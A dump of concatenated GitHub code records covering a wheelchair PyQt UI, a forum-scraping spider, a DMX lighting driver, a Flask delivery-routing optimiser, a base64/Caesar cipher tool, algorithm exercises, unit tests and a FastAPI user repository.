ui.label_testing.mouseReleaseEvent = (lambda state, x=4: showWindow(x))\r\n ui.label_upload.mouseReleaseEvent = (lambda state, x=3: showWindow(x))\r\n# ui.label_5.mouseReleaseEvent = showTab(MainWindow3)\r\n\r\n ui = Ui_MainWindow2()\r\n ui.setupUi(MainWindow2)\r\n LCD_Objs.append(ui.lcdNumber_3)\r\n # connect goStatus method to ui of home\r\n #ui.label_5.clicked.connect(goHome)\r\n \r\n ui.label_home.mouseReleaseEvent = (lambda state, x=1: showWindow(x))\r\n ui.label_upload.mouseReleaseEvent = (lambda state, x=3: showWindow(x))\r\n ui.label_testing.mouseReleaseEvent = (lambda state, x=4: showWindow(x))\r\n# ui.label_4.mouseReleaseEvent = showTab(MainWindow)\r\n# ui.label_8.mouseReleaseEvent = showTab(MainWindow3)\r\n\r\n ui = Ui_MainWindow4()\r\n ui.setupUi(MainWindow3)\r\n LCD_Objs.append(ui.lcdNumber)\r\n # connect goStatus method to ui of home\r\n #ui.pushButton.clicked.connect(goHome)\r\n \r\n ui.label_home.mouseReleaseEvent = (lambda state, x=1: showWindow(x))\r\n ui.label_charging.mouseReleaseEvent = (lambda state, x=2: showWindow(x))\r\n ui.label_testing.mouseReleaseEvent = (lambda state, x=4: showWindow(x))\r\n# ui.label_2.mouseReleaseEvent = showTab(MainWindow)\r\n# ui.label_3.mouseReleaseEvent = showTab(MainWindow2)\r\n\r\n ui = Ui_MainWindow3()\r\n ui.setupUi(MainWindow4)\r\n ui.label_home.mouseReleaseEvent = (lambda state, x=1: showWindow(x))\r\n ui.label_charging.mouseReleaseEvent = (lambda state, x=2: showWindow(x))\r\n ui.label_upload.mouseReleaseEvent = (lambda state, x=3: showWindow(x))\r\n\r\n if login.exec_() == QtWidgets.QDialog.Accepted:\r\n showWindow(1)\r\n # Start Clock Thread\r\n clock = Clock(LCD_Objs)\r\n clock.start()\r\n with concurrent.futures.ProcessPoolExecutor() as executor:\r\n #f1 = executor.submit(main_code.get_I2C) #BMI sensors\r\n #f2 = executor.submit(main_code.get_serial) #gps\r\n #f4 = executor.submit(main_code.get_ESP) #BMS sensors\r\n f3 = executor.submit(sys.exit(app.exec_()))\r\n \r\n #sys.exit(app.exec_())\r\n","repo_name":"zhansenahmetov/Wheelchair_RPi","sub_path":"WWControl.py","file_name":"WWControl.py","file_ext":"py","file_size_in_byte":4709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4234720573","text":"import os\nimport re\nimport scrapy\nfrom math import ceil\nimport configparser\nfrom scrapy.http import Request, FormRequest\nfrom datetime import datetime, timedelta\nfrom scraper.base_scrapper import SitemapSpider, SiteMapScrapper\n\n\nclass ZyberphSpider(SitemapSpider):\n name = 'zyberph_spider'\n base_url = 'http://www.zyberph.com/'\n\n # Xpaths\n forum_xpath = '//a[contains(@class, \"forumtitle\")]/@href'\n thread_xpath = '//ul[@class=\"topiclist topics\"]/li'\n thread_first_page_xpath = './/a[contains(@class, \"topictitle\")]/@href'\n thread_last_page_xpath = './/div[@class=\"pagination\"]'\\\n '/ul/li[last()]/a/@href'\n thread_date_xpath = './/dd[@class=\"lastpost\"]/span/text()[last()]'\n pagination_xpath = '//li[@class=\"arrow next\"]/a[@rel=\"next\"]/@href'\n thread_pagination_xpath = '//li[@class=\"arrow previous\"]/a[@rel=\"prev\"]/@href'\n thread_page_xpath = '//div[@class=\"pagination\"]//'\\\n 'li[@class=\"active\"]/span/text()'\n post_date_xpath = '//p[@class=\"author\"]/text()[last()]'\n\n avatar_xpath = '//div[@class=\"avatar-container\"]/a/img/@src'\n\n # Regex stuffs\n topic_pattern = re.compile(\n r\"t=(\\d+)\",\n re.IGNORECASE\n )\n avatar_name_pattern = re.compile(\n r'avatar=(\\S+\\.\\w+)',\n re.IGNORECASE\n )\n\n # Other settings\n use_proxy = \"On\"\n post_datetime_format = '%a %b %d, %Y %I:%M %p'\n sitemap_datetime_format = '%a %b %d, %Y %I:%M %p'\n\n def parse_thread_date(self, thread_date):\n \"\"\"\n :param thread_date: str => thread date as string\n :return: datetime => thread date as datetime converted from string,\n using class sitemap_datetime_format\n \"\"\"\n # Standardize thread_date\n thread_date = thread_date.strip()\n if \"today\" in thread_date.lower():\n return datetime.today()\n elif \"yesterday\" in thread_date.lower():\n return datetime.today() - timedelta(days=1)\n else:\n return datetime.strptime(\n thread_date,\n self.sitemap_datetime_format\n )\n\n def parse_post_date(self, post_date):\n \"\"\"\n :param post_date: str => post date as string\n :return: datetime => post date as datetime converted from string,\n using class sitemap_datetime_format\n \"\"\"\n # Standardize thread_date\n post_date = post_date.strip()\n if not post_date:\n return\n\n if \"today\" in post_date.lower():\n return datetime.today()\n elif \"yesterday\" in post_date.lower():\n return datetime.today() - timedelta(days=1)\n else:\n return datetime.strptime(\n post_date,\n self.post_datetime_format\n )\n\n def parse(self, response):\n # Synchronize cloudfare user agent\n self.synchronize_headers(response)\n\n all_forums = response.xpath(self.forum_xpath).extract()\n\n # update stats\n self.crawler.stats.set_value(\"mainlist/mainlist_count\", len(all_forums))\n for forum_url in all_forums:\n\n # Standardize url\n if self.base_url not in forum_url:\n forum_url = self.base_url + forum_url\n # if 'f=87' not in forum_url:\n # continue\n yield Request(\n url=forum_url,\n headers=self.headers,\n callback=self.parse_forum,\n meta=self.synchronize_meta(response),\n )\n\n def parse_thread(self, response):\n\n # Parse generic thread\n yield from super().parse_thread(response)\n\n # Save avatars\n yield from super().parse_avatars(response)\n\n\nclass ZyberphScrapper(SiteMapScrapper):\n\n spider_class = ZyberphSpider\n site_name = 'zyberph.com'\n site_type = 'forum'\n\n def load_settings(self):\n settings = super().load_settings()\n settings.update(\n {\n \"RETRY_HTTP_CODES\": [406, 429, 500, 503],\n }\n )\n return settings\n","repo_name":"ken2190/Enterprise-Forum-Scraper","sub_path":"scraper/zyberph.py","file_name":"zyberph.py","file_ext":"py","file_size_in_byte":4101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23465178311","text":"def read(fileName):\n f = open(fileName, 'r')\n caseNo = int(f.readline())\n P = []\n for i in xrange(caseNo):\n line = f.readline().split()\n X = int(line[0])\n R = int(line[1])\n C = int(line[2])\n P.append([X, R, C])\n return P\n\n\ndef solve(problem):\n X = problem[0]\n R = problem[1]\n C = problem[2]\n if (R > C):\n R, C = C, R\n\n if ((R * C) % X != 0):\n return 'RICHARD'\n elif (X >= 7):\n return 'RICHARD'\n elif (X <= R):\n return 'GABRIEL'\n elif (X >= C + 1):\n return 'RICHARD'\n elif (X >= 2 * R + 1):\n return 'RICHARD'\n elif (R == 2 and X >= 4):\n return 'RICHARD'\n else:\n return 'GABRIEL'\n\n\ndef write(A):\n f = open(\"D.out\", 'w')\n for i in xrange(len(A)):\n f.write(\"Case #%s: %s\\n\" % (i + 1, A[i]))\n\n\nif __name__==\"__main__\":\n P = read(\"D.in\")\n A = []\n for problem in P:\n A.append(solve(problem))\n write(A)\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_158/491.py","file_name":"491.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74161937153","text":"from globals import *\nfrom error import *\n\n\nclass SyntaxTree:\n '''语法树,也是其他语法树的基类'''\n\n def __init__(self, **kwargs) -> None:\n self.lineno: int = 0\n self.col_offset: int = 0\n self.end_lineno: int = 0\n self.end_col_offset: int = 0\n self.__dict__ |= kwargs\n self.astattr = kwargs # 语法树属性\n self.symtab = Globals.symtab\n self.genir = Globals.genir\n self.location=(self.lineno,self.col_offset,self.end_lineno,self.end_col_offset) #位置\n\n def analyse(self):\n '''分析'''\n for key, val in self.astattr.items():\n if isinstance(val, SyntaxTree):\n val.analyse()\n elif isinstance(val, list):\n for i in val:\n if isinstance(i, SyntaxTree):\n i.analyse()\n\n def gen(self):\n '''生成目标代码'''\n for key, val in self.astattr.items():\n if isinstance(val, SyntaxTree):\n val.gen()\n elif isinstance(val, list):\n self.gen_list(val)\n\n def gen_list(self, l):\n for i in l:\n if isinstance(i, SyntaxTree):\n i.gen()\n\n def error(self,msg):\n error(msg,self.location)","repo_name":"1604042736/c--","sub_path":"c--2.2/Compiler/SyntaxTrees/syntaxtree.py","file_name":"syntaxtree.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"74890082115","text":"import os\nimport glob\nimport logging\nimport time\nimport subprocess\nimport re\n\nfrom dmxpy.DmxPy import DmxPy\n\n\nlogger = logging.getLogger(__name__)\nhexint = lambda v: int(v, 16)\n\n\nclass _DMXSink:\n def __init__(self):\n self.data = {}\n\n def setChannel(self, chan, value):\n self.data[chan] = value\n\n def render(self):\n logger.debug(\"DMX OUT: %s\", self.data)\n self.data = {}\n\n\nclass DMXDevice:\n def __init__(self, spec):\n self.spec = spec\n self.impl = None\n self.last_attempt = None\n self.last_send = None\n self.data = {}\n\n @property\n def dmx_impl(self):\n if self.impl is False:\n return None\n\n if self.impl is None:\n if self.spec == 'sink':\n # Literally do nothing\n self.impl = False\n return None\n elif self.spec == 'vsink':\n self.impl = _DMXSink()\n else:\n if self.last_attempt is None or time.time() - self.last_attempt > 1:\n self.last_attempt = time.time()\n if not self.spec:\n logger.error(\"No DMX device configured\")\n self.impl = False\n return None\n\n try:\n self.impl = DmxPy(self._find_device_file(self.spec))\n except:\n logger.error(\"Can't open DMX device %s\", self.spec, exc_info=True)\n\n return self.impl\n\n @classmethod\n def _find_device_file__linux(cls, vendor, product):\n if not os.path.exists('/sys') or not os.path.isdir('/sys'):\n return None\n for dev in glob.glob('/sys/bus/usb-serial/devices/*'):\n devname = os.path.basename(dev)\n with open(os.path.join(dev, '../uevent'), 'r') as fp:\n for line in fp:\n line = line.strip()\n if line and '=' in line:\n param, value = line.split('=')\n if param == 'PRODUCT':\n testvendor, testproduct = map(hexint, value.split('/')[:2])\n if testvendor == vendor and testproduct == product:\n return os.path.join('/dev', devname)\n\n @classmethod\n def _find_device_file__macos(cls, vendor, product):\n devices = []\n curdevice = {}\n\n res = subprocess.check_output(['ioreg', '-p', 'IOUSB', '-l', '-b']).decode('utf-8')\n for line in res.split('\\n'):\n line = line.strip()\n if not line:\n continue\n\n match = re.match(u'^\\+-o (.+)\\s+<', line)\n if match:\n if curdevice:\n devices.append(curdevice)\n curdevice = {}\n continue\n\n match = re.match(u'^[\\|\\s]*\"([\\w\\d\\s]+)\"\\s+=\\s+(.+)$', line)\n if match:\n k, v = match.groups()\n if v.startswith('\"'):\n v = v[1:-1]\n else:\n try:\n v = int(v)\n except:\n pass\n curdevice[k] = v\n\n if curdevice:\n devices.append(curdevice)\n\n for d in devices:\n if d.get('idVendor') == vendor and d.get('idProduct') == product:\n return '/dev/tty.usbserial-' + d['USB Serial Number']\n\n @classmethod\n def _find_device_file(cls, name):\n # Name is either a path (/dev/ttyUSB0) which might change, or a device ID (0403:6001) which does not\n if name.startswith('/') or ':' not in name:\n # Assume file\n return name\n\n if ':' not in name:\n raise ValueError(f\"Not a valid device ID: {name}\")\n\n vendor, product = map(hexint, name.split(':'))\n\n for fn in (self._find_device_file__linux, self._find_device_file__macos):\n try:\n file = fn(vendor, product)\n if file:\n return file\n except:\n logger.error(\"Failure in find device file\", exc_info=True)\n\n raise RuntimeError(f\"Can't find USB device {name}\")\n\n def setChannel(self, chan, value):\n self.data[chan] = value\n\n def render(self):\n if self.data:\n dmx = self.dmx_impl\n if dmx:\n for k, v in self.data.items():\n dmx.setChannel(k, v)\n dmx.render()\n self.data = {}\n","repo_name":"BasementCat/partylights","sub_path":"lib/light/dmx.py","file_name":"dmx.py","file_ext":"py","file_size_in_byte":4554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27263407073","text":"'''\nnode별로 left, right 할당해줘야하기 때문에 class로 구현하는 데에 집착했다.\n그런데 class 구현이 까다롭기도 하고, 익숙치 않은 게 커서 결국엔 dictionary로 풀게 됐다.\n30840 KB 72 ms\n'''\n\nN = int(input())\n# A는 어떤 경우에라도 있으니 미리 세팅하기\n_, aLeft, aRight = input().split()\ntreeDic = {'A':(aLeft, aRight)}\n\nfor _ in range(N-1):\n node, nodeLeft, nodeRight = input().split()\n treeDic[node] = (nodeLeft, nodeRight)\n\n# {'A': ('B', 'C'), 'B': ('D', '.'), 'C': ('E', 'F'), 'E': ('.', '.'), 'F': ('.', 'G'), 'D': ('.', '.'), 'G': ('.', '.')}\n\n# 전위순회\ndef preOrder(start):\n result = ''\n node = start\n if start == '.':\n return ''\n if treeDic[node]:\n result += node\n result += preOrder(treeDic[node][0])\n result += preOrder(treeDic[node][1])\n return result\n\n# 중위순회\ndef inOrder(start):\n result = ''\n node = start\n if node == '.':\n return ''\n if treeDic[node]:\n result += inOrder(treeDic[node][0])\n result += node\n result += inOrder(treeDic[node][1])\n return result\n\n# 후위순회\ndef postOrder(start):\n result = ''\n node = start\n if node == '.':\n return ''\n if treeDic[node]:\n result += postOrder(treeDic[node][0])\n result += postOrder(treeDic[node][1])\n result += node\n return result\n\nprint(preOrder('A'))\nprint(inOrder('A'))\nprint(postOrder('A'))","repo_name":"elice-02-study-01-algorithm/python","sub_path":"CJ_Kim/season2/baekjoon/07/04/1991_트리 순회.py","file_name":"1991_트리 순회.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"2401133314","text":"class Solution:\n def wordPattern(self, pattern: str, s: str) -> bool:\n letterToWord = {}\n wordToLetter = {}\n\n n = len(pattern)\n wordList = s.split()\n \n if len(wordList) != n:\n return False\n \n \n for i in range(n):\n if pattern[i] not in letterToWord and wordList[i] not in wordToLetter:\n letterToWord[pattern[i]] = wordList[i]\n wordToLetter[wordList[i]] = pattern[i]\n \n elif pattern[i] in letterToWord and wordList[i] in wordToLetter:\n if letterToWord[pattern[i]] != wordList[i] or wordToLetter[wordList[i]] != pattern[i]:\n return False\n \n else:\n return False\n \n return True\n","repo_name":"SouradeepSaha/leetcode","sub_path":"290. Word Pattern.py","file_name":"290. Word Pattern.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12401348197","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Jul 5 12:07:59 2020\r\n\r\n@author: SSSar\r\n\"\"\"\r\n\r\nfrom flask import Flask, render_template, request, session, url_for, redirect\r\nimport csv\r\nfrom docplex.mp.model import Model\r\nfrom openpyxl import load_workbook\r\nimport numpy as np\r\nimport json\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef homepage():\r\n return render_template('index.html')\r\n\r\n@app.route('/hos')\r\ndef hos():\r\n return render_template('hos.html')\r\n\r\n@app.route('/dect')\r\ndef dect():\r\n return render_template('dect.html')\r\n\r\n@app.route('/donator')\r\ndef donator():\r\n return render_template('donator.html')\r\n\r\n@app.route('/delivery')\r\ndef delivery():\r\n return render_template('delivery.html')\r\n\r\n@app.route('/hosAuth', methods=['GET', 'POST'])\r\ndef hospital():\r\n date = request.form['date']\r\n hsp_name = request.form['name']\r\n request_num = request.form['number']\r\n \r\n l = []\r\n with open('hospital.csv','rt') as f:\r\n cr = csv.DictReader(f)\r\n for row in cr:\r\n l.append(row)\r\n with open('hospital.csv','wt',newline = '') as csvfile:\r\n fieldnames = ['date','hospital name','request number']\r\n writer = csv.DictWriter(csvfile, fieldnames = fieldnames)\r\n writer.writeheader()\r\n writer.writerows(l)\r\n writer.writerow({'date':date,'hospital name':hsp_name,'request number':request_num})\r\n csvfile.close()\r\n return render_template('hos.html')\r\n\r\n@app.route('/deliveryAuth', methods=['GET', 'POST']) \r\ndef deliveryAuth():\r\n hospitallist = []\r\n with open('hospital.csv','r') as f:\r\n station = csv.DictReader(f)\r\n for row in station:\r\n hospitallist.append((row['date'],row['hospital name'],row['request number']))\r\n f.close()\r\n \r\n workbook = load_workbook('distance.xlsx') #找到需要xlsx文件的位置\r\n booksheet = workbook.active #获取当前活跃的sheet,默认是第一个sheet\r\n\r\n #获取sheet页的行数据\r\n rows = booksheet.rows\r\n #获取sheet页的列数据\r\n columns = booksheet.columns\r\n\r\n distance = []\r\n i = 0\r\n # 迭代所有的行\r\n for row in rows:\r\n line = [col.value for col in row if col.value != None]\r\n if line != []:\r\n distance.append(line)\r\n dis = []\r\n dist = []\r\n for i in range(1, len(distance)):\r\n for j in distance[i][1:]:\r\n if j != 0.0:\r\n j = float(j[:-2])\r\n dis.append(j)\r\n dist.append(dis)\r\n dis = []\r\n \r\n weight = []\r\n\r\n for i in dist[1:]:\r\n demand = 0\r\n for j in hospitallist:\r\n if j[0] == '2020/7/2':\r\n if j[1] == i:\r\n demand = j[2]\r\n weight.append(demand)\r\n\r\n n = len(distance) - 2 #医院\r\n Q = 3000\r\n\r\n # M = [i for i in range(1,m+1)]\r\n N = [i for i in range(1,n+1)]\r\n V = [0] + N\r\n A = [(i,j) for i in V for j in V if i != j]\r\n\r\n q = {i:weight[i-1] for i in N}\r\n c = {(i,j): dist[i][j] for i,j in A}\r\n mdl = Model('CVRP')\r\n x = mdl.binary_var_dict(A, name='x')\r\n u = mdl.continuous_var_dict(N, ub = Q, name='u')\r\n mdl.minimize(mdl.sum(c[i,j]*x[i,j] for i,j in A))\r\n mdl.add_constraints(mdl.sum(x[i,j] for j in V if j!= i) == 1 for i in N)\r\n mdl.add_constraints(mdl.sum(x[i,j] for i in V if i!= j) == 1 for j in N)\r\n mdl.add_indicator_constraints(mdl.indicator_constraint(x[i,j],u[i] + q[j] == u[j]) for i,j in A if i!=0 and j!=0)\r\n solution = mdl.solve(log_output = True)\r\n actove_arcs = [a for a in A if x[a].solution_value > 0.9] \r\n\r\n all_order = []\r\n one = []\r\n actove = actove_arcs[:]\r\n for i,j in actove:\r\n # print(actove)\r\n # print((i,j))\r\n if i != 0:\r\n break\r\n if i == 0:\r\n one.append(distance[0][i])\r\n one.append(distance[0][j])\r\n while j != 0:\r\n for m,n in actove:\r\n # print((m,n))\r\n if m == j:\r\n one.append(distance[0][n])\r\n j = n\r\n \r\n all_order.append(one)\r\n one = []\r\n \r\n l = []\r\n with open('route.csv','rt') as f:\r\n cr = csv.DictReader(f)\r\n for row in cr:\r\n l.append(row)\r\n with open('route.csv','wt',newline = '') as csvfile:\r\n fieldnames = ['Route1','Route2','Route3','Route4']\r\n writer = csv.DictWriter(csvfile, fieldnames = fieldnames)\r\n writer.writeheader()\r\n writer.writerows(l)\r\n writer.writerow({'Route1':all_order[0],'Route2':all_order[1],'Route3':all_order[2],'Route4':all_order[3]})\r\n csvfile.close()\r\n\r\n return render_template('delivery.html',result=json.dumps(all_order))\r\n\r\nif __name__ == \"__main__\":\r\n app.run('127.0.0.1', 5000, debug=True)\r\n","repo_name":"XinyaoHan/Google-Magical-Fairy-Castle","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":4782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18907734583","text":"import requests\n\nr = requests.get(f'https://api.deezer.com/album/{199312252}')\npreview_url = ''\ntitle = 'Str8 To North-East Lights'\ndata = r.json()\nsongs = data['tracks']['data']\n\nfor song in songs:\n if song['title_short'].lower() == title.lower():\n preview_url = song['preview']\n\n\n\nprint(preview_url)\n\n\n","repo_name":"Marduck182/Marduck","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38294416505","text":"from os import system, name\nimport sys\nimport base64\n \ndef clear():\n #windows\n if name == 'nt': \n _ = system('cls') \n #mac linux posix\n else: \n _ = system('clear') \n\ndef main():\n menu()\n\ndef code64():\n print('''\n +-+-+-+-+-+-+ +-+-+\n |c|o|d|a|g|e| |6|4|\n +-+-+-+-+-+-+ +-+-+\n ''')\n msg = input(\"Message à encoder: \")\n msg_bytes = msg.encode('ascii')\n base64_bytes = base64.b64encode(msg_bytes)\n coded = base64_bytes.decode('ascii')\n print(\"\\nMessage codé:\",coded)\n print(\"\")\n codage()\n\ndef decode64():\n print('''\n +-+-+-+-+-+-+-+-+ +-+-+\n |d|e|c|o|d|a|g|e| |6|4|\n +-+-+-+-+-+-+-+-+ +-+-+\n ''')\n msg = input(\"Message à decoder: \")\n base64_bytes = msg.encode('ascii')\n msg_bytes = base64.b64decode(base64_bytes)\n decoded = msg_bytes.decode('ascii')\n print(\"\\nMessage décodé:\",decoded)\n print(\"\")\n codage()\n\ndef codage():\n while True:\n print(''' \n \\t+-+-+-+-+-+-+\n \\t|c|o|d|a|g|e|\n \\t+-+-+-+-+-+-+''')\n try:\n choice = int(\n input(\n \"\"\"\n 1-Codage en base 64\n 2-Decodage en base 64\n 3-Retour au menu principal\n\n Choix: \"\"\"\n )\n )\n break\n except ValueError:\n print(\"Entrer invalide\")\n if choice == 1:\n code64()\n elif choice == 2:\n decode64()\n elif choice == 3:\n menu()\n else:\n print(\"Mauvais choix\")\n codage()\n\ndef clef() :\n while True :\n try :\n x=int(input(\"Donner la clef entre 30 et 1000: \"))\n if x>=30 and x<=1000:\n break\n else :\n print(\"Clef non valide\")\n except ValueError:\n print(\"Wrong input\")\n return (x)\n\ndef chiffrer_letter(letter, is_upper,decaler):\n if is_upper:\n l=['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']\n else:\n l=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']\n crypted_index = (l.index(letter)+(decaler%26))%26\n return l[crypted_index] \n \ndef dechiffrer_letter(letter, is_upper,decaler):\n if is_upper:\n l=['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']\n else:\n l=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']\n decrypted_index = (l.index(letter)-(decaler%26))%26\n return l[decrypted_index]\n\ndef chiffrer():\n print('''\n +-+-+-+-+-+-+-+-+\n |c|h|i|f|f|r|e|r|\n +-+-+-+-+-+-+-+-+\n ''')\n c=clef()\n msg=input(\"Message à chiffrer: \")\n crypted=list()\n for letter in msg :\n if letter.isalpha() :\n up= letter.isupper()\n crypted_letter=chiffrer_letter(letter,up,c)\n crypted.append(crypted_letter)\n else :\n crypted.append(letter)\n crypted=''.join(crypted)\n print (\"\\nMessage chiffré:\",crypted)\n chiffrement()\n\ndef dechiffrer():\n print('''\n +-+-+-+-+-+-+-+-+-+-+\n |d|e|c|h|i|f|f|r|e|r|\n +-+-+-+-+-+-+-+-+-+-+\n ''')\n c=clef()\n msg=input(\"Message à dechiffrer: \")\n decrypted=list()\n for letter in msg :\n if letter.isalpha() :\n up= letter.isupper()\n decrypted_letter=dechiffrer_letter(letter,up,c)\n decrypted.append(decrypted_letter)\n else :\n decrypted.append(letter)\n decrypted=''.join(decrypted)\n print (\"\\nMessage déchiffré:\",decrypted)\n chiffrement()\n\ndef chiffrement():\n while True:\n print('''\n \\t+-+-+-+-+-+-+-+-+-+-+-+\n \\t|C|H|I|F|F|R|E|M|E|N|T|\n \\t+-+-+-+-+-+-+-+-+-+-+-+''')\n try:\n choice = int(\n input(\n \"\"\"\n 1-Chiffrer un message par une clef\n 2-Dechiffrer un message par une clef\n 3-Retour au menu principal\n\n Choix: \"\"\"\n )\n )\n break\n except ValueError:\n print(\"Entrer invalide\")\n if choice == 1:\n chiffrer()\n elif choice == 2:\n dechiffrer()\n elif choice == 3:\n menu()\n else:\n print(\"Mauvais choix\")\n chiffrement()\n\ndef quit():\n sure=input(\"\\n\\t Si vous voulez quitter tapez 'o' : \")\n if sure == 'o' or sure == 'O' :\n sys.exit\n else :\n menu()\n\ndef menu():\n clear()\n print (\"\"\" +-+-+-+-+-+ +-+-+ +-+-+-+-+-+-+ +-+-+ +-+-+-+-+-+-+-+-+-+-+-+\n |O|u|t|i|l| |d|e| |c|o|d|a|g|e| |e|t| |c|h|i|f|f|r|e|m|e|n|t|\n +-+-+-+-+-+ +-+-+ +-+-+-+-+-+-+ +-+-+ +-+-+-+-+-+-+-+-+-+-+-+\"\"\")\n while True:\n try:\n choice = int(\n input(\n \"\"\"\n 1-Codage\n 2-Chiffrement\n 3-Quitter\n\n Choix: \"\"\"\n )\n )\n break\n except ValueError:\n menu()\n if choice == 1:\n codage()\n elif choice == 2:\n chiffrement()\n elif choice == 3:\n quit()\n else:\n menu()\n \nmain()","repo_name":"tahe-ba/Programmation-Python","sub_path":"serie/project-crypt/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"31344591683","text":"from project.shopping_cart import ShoppingCart\nfrom unittest import TestCase, main\n\n\nclass TestShoppingCart(TestCase):\n def setUp(self):\n self.shopping_card = ShoppingCart(\"Zara\", 200.40)\n\n def test_init(self):\n self.assertEqual(self.shopping_card.shop_name, \"Zara\")\n self.assertEqual(self.shopping_card.budget, 200.40)\n self.assertEqual(self.shopping_card.products, {})\n\n def test_shop_name_raise_value_error(self):\n with self.assertRaises(ValueError) as ve:\n self.shopping_card = ShoppingCart(\"zara1\", 200.40)\n\n self.assertEqual(\"Shop must contain only letters and must start with capital letter!\", str(ve.exception))\n\n def test_add_to_cart_rase_value_error(self):\n with self.assertRaises(ValueError) as ve:\n self.shopping_card.add_to_cart(\"product\", 200)\n self.assertEqual(f\"Product product cost too much!\", str(ve.exception))\n\n def test_add_to_cart_successfully(self):\n expected = \"product product was successfully added to the cart!\"\n result = self.shopping_card.add_to_cart(\"product\", 39.50)\n\n self.assertEqual(expected, result)\n self.assertEqual(self.shopping_card.products, {\"product\": 39.50})\n\n def test_remove_from_cart_successfully(self):\n self.shopping_card.products = {\"product\": 39.50, \"product2\": 39.50}\n product_name = \"product\"\n result = self.shopping_card.remove_from_cart(product_name)\n expected = f\"Product {product_name} was successfully removed from the cart!\"\n\n self.assertEqual(expected, result)\n self.assertEqual(self.shopping_card.products, {\"product2\": 39.50})\n\n def test_remove_from_card_raise_value_error(self):\n product_name = \"product\"\n with self.assertRaises(ValueError) as ve:\n self.shopping_card.remove_from_cart(product_name)\n\n self.assertEqual(f\"No product with name {product_name} in the cart!\", str(ve.exception))\n\n def test__add__(self):\n self.shopping_card.add_to_cart('from_first', 1)\n second = ShoppingCart('SecondTest', 100)\n second.add_to_cart('from_second', 2)\n merged = self.shopping_card.__add__(second)\n self.assertEqual('ZaraSecondTest', merged.shop_name)\n self.assertEqual(300.4, merged.budget)\n self.assertEqual({'from_first': 1, 'from_second': 2}, merged.products)\n\n def test_buy_products_raise_value_error(self):\n self.shopping_card.products = {\"product\": 39.50, \"product2\": 139.50, \"product3\": 239.50}\n total_sum = sum(self.shopping_card.products.values())\n with self.assertRaises(ValueError) as ve:\n self.shopping_card.buy_products()\n\n self.assertEqual(f\"Not enough money to buy the products! Over budget with {total_sum - self.shopping_card.budget:.2f}lv!\", str(ve.exception))\n\n def test_buy_products_successfully(self):\n self.shopping_card.products = {\"product\": 100.00, \"product2\": 100.00}\n total_sum = sum(self.shopping_card.products.values())\n result = self.shopping_card.buy_products()\n expected = f'Products were successfully bought! Total cost: {total_sum:.2f}lv.'\n\n self.assertEqual(expected, result)\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n\n","repo_name":"lilyana-kyuchukova/python_oop","sub_path":"exams/13_exam_prep/Unit-Testing-Skeleton/project/test/test_shopping.py","file_name":"test_shopping.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4751259760","text":"from sqlalchemy import select\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom src.database.models import User\nfrom src.schemas import UserResponse\n\n\nasync def get_users(limit: int, offset: int, db: AsyncSession):\n sq = select(User).offset(offset).limit(limit)\n users = await db.execute(sq)\n return users.scalars().all()\n\n\nasync def get_user(user_id: int, db: AsyncSession):\n sq = select(User).filter_by(id=user_id)\n users = await db.execute(sq)\n return users.scalar_one_or_none()\n\n\nasync def create_user(body: UserResponse, db: AsyncSession):\n user = User(name=body.name, surname=body.surname, phone=body.phone, email=body.email)\n db.add(user)\n await db.commit()\n await db.refresh(user)\n return user\n\nasync def update_user(user_id: int, body: UserResponse, db: AsyncSession):\n sq = select(User).filter_by(id=user_id)\n result = await db.execute(sq)\n user = result.scalar_one_or_none()\n if user:\n user.name = body.name\n user.surname = body.surname\n user.phone = body.phone\n user.email = body.email\n await db.commit()\n await db.refresh(user)\n return user\n\n\nasync def remove_user(user_id: int, db: AsyncSession):\n sq = select(User).filter_by(id=user_id)\n result = await db.execute(sq)\n user = result.scalar_one_or_none()\n if user:\n await db.delete(user)\n await db.commit()\n return user\n","repo_name":"Taras55001/HW_11_WEB","sub_path":"src/repostory/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12294851095","text":"import sys\nimport math\nfrom OpenGL.GL import *\nfrom OpenGL.GLUT import *\nfrom OpenGL.GLU import gluPerspective, gluLookAt\nfrom PIL import Image\n\n\nclass OpenGLEarth():\n \"\"\"Class OpenGLEarth used to create a OpenGL application\n\n Shows the rotating sphere with texture of the earth\n\n 